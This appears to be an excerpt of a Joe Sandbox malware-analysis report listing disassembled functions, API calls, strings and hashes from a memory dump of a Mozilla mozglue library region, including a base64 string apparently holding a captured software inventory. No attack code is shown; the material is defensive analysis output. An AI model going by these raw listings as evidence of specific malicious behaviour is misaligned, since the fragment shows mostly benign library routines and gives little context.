Part of subcall function 6CA531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CA5327F
Part of subcall function 6CA531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA5328E
Part of subcall function 6CA531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA532AB
Part of subcall function 6CA531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA532D1
Part of subcall function 6CA531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA532E5
Part of subcall function 6CA531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA69675
__Init_thread_footer.LIBCMT ref: 6CA69697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA69707
__Init_thread_footer.LIBCMT ref: 6CA6971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA69773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA697B7
FreeLibrary.KERNEL32 ref: 6CA697D0
FreeLibrary.KERNEL32 ref: 6CA697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA69824

Strings

ntdll.dll, xrefs: 6CA696E3
NtMapViewOfSection, xrefs: 6CA69701
MapViewOfFileNuma2, xrefs: 6CA697B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA69670

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 07e0486724b7f86a403b49ca46d2ec3d06407933160b1f83fe2e3fd44d0b954a
Instruction ID: 222fb09f4746e9d05ead1be6b907a941fa9eebfe8e3f3313e2e5999065c3066c
Opcode Fuzzy Hash: 07e0486724b7f86a403b49ca46d2ec3d06407933160b1f83fe2e3fd44d0b954a
Instruction Fuzzy Hash: 0261A2716003069FDF048F75ED88BDA7BB5EB4A714F04C619E91597B80EB30B899CBA1

Function 6CA67FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CA68007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CA6801D

Part of subcall function 6CA6CA10: malloc.MOZGLUE(?), ref: 6CA6CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CA6802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CA6803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CA6808D

Part of subcall function 6CA6CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA6CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CA6809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CA680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CA680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA6810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CA68133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CA68149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CA68167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CA6817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA68199

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: d4ec353d8bf9acd61937d0542111edc1e2d816304c9369d6a7fa8beb2f998b5b
Instruction ID: e755a4654d28f202d6331bab5f97c1fc696c67c4618dea3a2d335fba29878239
Opcode Fuzzy Hash: d4ec353d8bf9acd61937d0542111edc1e2d816304c9369d6a7fa8beb2f998b5b
Instruction Fuzzy Hash: 3E5195B1E002145BDF10DFAADD84AEFB7BDEF49224F180125E815E7B41E730A949CBA1

Function 6CAB6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CADF618), ref: 6CAB6694
GetThreadId.KERNEL32(?), ref: 6CAB66B1
GetCurrentThreadId.KERNEL32 ref: 6CAB66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CAB66E1
EnterCriticalSection.KERNEL32(6CADF618), ref: 6CAB6734
GetCurrentProcess.KERNEL32 ref: 6CAB673A
LeaveCriticalSection.KERNEL32(6CADF618), ref: 6CAB676C
GetCurrentThread.KERNEL32 ref: 6CAB67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CAB6868
RtlCaptureContext.NTDLL ref: 6CAB687F

Strings

WalkStack64, xrefs: 6CAB6890

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: f017eaa4bb63d41c851af003dcb5c4782bce511c3b0ddd853c1416be3a9fde96
Instruction ID: 09e53889e3eb3622a329ee74a52d59cf0a14adeefcaa450c6d04bbda9cbd56ee
Opcode Fuzzy Hash: f017eaa4bb63d41c851af003dcb5c4782bce511c3b0ddd853c1416be3a9fde96
Instruction Fuzzy Hash: 5C51CF71A09302AFDB19CF24C84479ABBF8BF89714F04892DF59997740D770E589CB92

Function 6CA9DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA64A68), ref: 6CA9945E
Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA99470
Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA99482
Part of subcall function 6CA99420: __Init_thread_footer.LIBCMT ref: 6CA9949F

GetCurrentThreadId.KERNEL32 ref: 6CA9DE73
GetCurrentThreadId.KERNEL32 ref: 6CA9DF7D
AcquireSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9DF8A
ReleaseSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9DFC9
GetCurrentThreadId.KERNEL32 ref: 6CA9DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA9E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CA64A68), ref: 6CA9DE7B

Part of subcall function 6CA994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA994EE
Part of subcall function 6CA994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA99508

Part of subcall function 6CA8CBE8: GetCurrentProcess.KERNEL32(?,6CA531A7), ref: 6CA8CBF1
Part of subcall function 6CA8CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA531A7), ref: 6CA8CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CA64A68), ref: 6CA9DEB8
free.MOZGLUE(00000000,?,6CA64A68), ref: 6CA9DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CA9DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6CA9DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CA9E00E
<none>, xrefs: 6CA9DFD7

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 074da7b95374e9c7ef59379596ef1af4e22f93f8f285e043b19b6c9477f1349f
Instruction ID: 3128feaa2bc914b059ee63fb5ce8780a527575b67edfb1b80df933dd3e00a789
Opcode Fuzzy Hash: 074da7b95374e9c7ef59379596ef1af4e22f93f8f285e043b19b6c9477f1349f
Instruction Fuzzy Hash: A5410675B022129FDB149F68DD097AE77B5EB4570DF088119E90A97B01CB30B8CAC7E2

Function 6CA54480 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CA94843,?), ref: 6CA545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CA94843,?), ref: 6CA5468A
free.MOZGLUE(?,?,?,?,?,?,6CA94843,?), ref: 6CA546C9
free.MOZGLUE(?), ref: 6CA546EF
free.MOZGLUE(?), ref: 6CA54712
free.MOZGLUE(?), ref: 6CA54735
free.MOZGLUE(?), ref: 6CA54758
free.MOZGLUE(?), ref: 6CA5477B
free.MOZGLUE(?), ref: 6CA5479E

Strings

S4zLjE3Ny4xMQoJTWljcm9zb2Z0IEVkZ2UgV2ViVmlldzIgUnVudGltZSAtIDExNy4wLjIwNDUuNDcKCUphdmEgQXV0byBVcGRhdGVyIC0gMi44LjM4MS45CglKYXZhIDggVXBkYXRlIDM4MSAtIDguMC4zODEwLjkKCU1pY3Jvc29mdCBWaXN1YWwgQysrIDIwMTUtMjAyMiBSZWRpc3RyaWJ1dGFibGUgKHg2NCkgLSAxNC4zNi4zMjUzMiAtIDE0L, xrefs: 6CA545B2

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID: S4zLjE3Ny4xMQoJTWljcm9zb2Z0IEVkZ2UgV2ViVmlldzIgUnVudGltZSAtIDExNy4wLjIwNDUuNDcKCUphdmEgQXV0byBVcGRhdGVyIC0gMi44LjM4MS45CglKYXZhIDggVXBkYXRlIDM4MSAtIDguMC4zODEwLjkKCU1pY3Jvc29mdCBWaXN1YWwgQysrIDIwMTUtMjAyMiBSZWRpc3RyaWJ1dGFibGUgKHg2NCkgLSAxNC4zNi4zMjUzMiAtIDE0L
API String ID: 3009372454-32056704
Opcode ID: 3ec3dface2133372e4e86a4fac54606c48fb874746fb1670c41d73463c368e88
Instruction ID: 68ef54b76e814d3a44800913c385ee61e813e8d55493054d7bd158373c6a712b
Opcode Fuzzy Hash: 3ec3dface2133372e4e86a4fac54606c48fb874746fb1670c41d73463c368e88
Instruction Fuzzy Hash: 36B1F271A005508FDB188E3CD9947AD77B2AF42328F988669E416DBFC6D73098F48B91

Function 6CAAD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAAD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAAD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAAD52A
GetCurrentThreadId.KERNEL32 ref: 6CAAD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAAD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAAD55F
free.MOZGLUE(00000000), ref: 6CAAD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CAAD5D3
GetCurrentThreadId.KERNEL32 ref: 6CAAD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAAD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAAD652
GetCurrentThreadId.KERNEL32 ref: 6CAAD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAAD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAAD6A2

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 9ff1a5d8a49e3fe1bf0eda8bf393c2fbb862e4ccc7689ba44bebcd8245e03287
Instruction ID: 760cc1193bda0c76d1098f7d76d5d42f70b45e4bd23ccdceee722007dcbcad69
Opcode Fuzzy Hash: 9ff1a5d8a49e3fe1bf0eda8bf393c2fbb862e4ccc7689ba44bebcd8245e03287
Instruction Fuzzy Hash: 7C516E75A04706DFC704DF65D484A9ABBB4FF89318F10862DE95A87710DB30B58ACB91

Function 6CA75670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CA756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CA756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CA75744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CA757BC
GetTickCount64.KERNEL32 ref: 6CA758CB
EnterCriticalSection.KERNEL32(6CADF688), ref: 6CA758F3
__aulldiv.LIBCMT ref: 6CA75945
LeaveCriticalSection.KERNEL32(6CADF688), ref: 6CA759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CADF638,?,?,?,?), ref: 6CA759E9

Strings

MOZ_APP_RESTART, xrefs: 6CA756CC

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 844da206564827773fd41a6a93bebc283f0c919942fc942c76ad915f026fdbd4
Instruction ID: 8f18eb72a36fb80d6a4f9d64f2d993a0aed308dbd6c9d5f63424c93830150c4b
Opcode Fuzzy Hash: 844da206564827773fd41a6a93bebc283f0c919942fc942c76ad915f026fdbd4
Instruction Fuzzy Hash: 5BC15D35A093819FDB19CF28C4406AAB7F1BFDA714F19CA1DE8C457660D730A986CB92

Function 6CA9EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA64A68), ref: 6CA9945E
Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA99470
Part of subcall function 6CA99420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA99482
Part of subcall function 6CA99420: __Init_thread_footer.LIBCMT ref: 6CA9949F

GetCurrentThreadId.KERNEL32 ref: 6CA9EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA9EC8C

Part of subcall function 6CA994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA994EE
Part of subcall function 6CA994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA99508

GetCurrentThreadId.KERNEL32 ref: 6CA9ECA1
AcquireSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CA9ECC5
ReleaseSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA9ED19
CloseHandle.KERNEL32(?), ref: 6CA9ED28
free.MOZGLUE(00000000), ref: 6CA9ED2F
ReleaseSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CA9EC94

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 7f32120a93b96da05bcdaa9901c5076bea45286ab0485835327c01f5d7e23acc
Instruction ID: 37cc699bb988240b863bfae1417304bb4e8a7539e4201519f371226fc561da48
Opcode Fuzzy Hash: 7f32120a93b96da05bcdaa9901c5076bea45286ab0485835327c01f5d7e23acc
Instruction Fuzzy Hash: A321D6B5600206AFDF049F24ED09A9B37B9FB4526DF148214FD1857741DB31A88ACBE1

Function 6CA98ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CA5EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA5EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CA9B392,?,?,00000001), ref: 6CA991F4

Part of subcall function 6CA8CBE8: GetCurrentProcess.KERNEL32(?,6CA531A7), ref: 6CA8CBF1
Part of subcall function 6CA8CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA531A7), ref: 6CA8CBFA

Strings

marker-table, xrefs: 6CA9906C
timeline-memory, xrefs: 6CA99088
marker-chart, xrefs: 6CA9905E
data, xrefs: 6CA990E8
name, xrefs: 6CA98F16
timeline-overview, xrefs: 6CA9907A
timeline-ipc, xrefs: 6CA99096
timeline-fileio, xrefs: 6CA990A4
stack-chart, xrefs: 6CA990B2

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: c52602aca2662e0557523fb95f76429177c5dd0509d767f3727a096100cf0df0
Instruction ID: 1a2254f573ff1a94c869f26d1bd6ee56b8103a02e00c554cbd101548913ca858
Opcode Fuzzy Hash: c52602aca2662e0557523fb95f76429177c5dd0509d767f3727a096100cf0df0
Instruction Fuzzy Hash: FEB1B1B0B112099BDF04CFA9C9527AEBBB5AB84318F144119D506ABF80D731A9D9CBE1

Function 6CA7C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA7C5A3
WideCharToMultiByte.KERNEL32 ref: 6CA7C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CA7C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CA7CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA7CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA7CAA5

Strings

0, xrefs: 6CA7D30A
(null), xrefs: 6CA7C596

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: bf516bba8a47e0bf8d19069702ba8097b5392efa8f7a0f83c54e694cc82c96d2
Instruction ID: ac5816dbb68f7cb3f7919714908c24aab20cd1bfd0124f20b807c786fd4506a4
Opcode Fuzzy Hash: bf516bba8a47e0bf8d19069702ba8097b5392efa8f7a0f83c54e694cc82c96d2
Instruction Fuzzy Hash: D0A1A0346083429FDB20DF28C59475BBBE1BF89748F08892DE899D7741D731E885CBA2

Function 6CA7C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA7C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA7C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CA7C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA7C891

Strings

nan, xrefs: 6CA7C7A8
INF, xrefs: 6CA7C794
NAN, xrefs: 6CA7C7AD
inf, xrefs: 6CA7C78F

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 5a55788dea3043b265bd1746bcdeb576a3901ea2c03b197ee1c6fca932ceeec0
Instruction ID: 1e8bc56ebf07f4bdcdb59ae34e46417698c649139426ce1eac60fb2dfc0ecb18
Opcode Fuzzy Hash: 5a55788dea3043b265bd1746bcdeb576a3901ea2c03b197ee1c6fca932ceeec0
Instruction Fuzzy Hash: 17518075A087408BD714AF2CC58529AFBF0BF8A308F448A2DE9D5A7650E770D9C9CB52

Function 6CABAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CABAC52
CreateFileMappingW.KERNEL32 ref: 6CABAC7D
GetSystemInfo.KERNEL32 ref: 6CABAC98
MapViewOfFile.KERNEL32 ref: 6CABACB0
GetSystemInfo.KERNEL32 ref: 6CABACCD
MapViewOfFile.KERNEL32 ref: 6CABAD05
UnmapViewOfFile.KERNEL32 ref: 6CABAD1C
CloseHandle.KERNEL32 ref: 6CABAD28
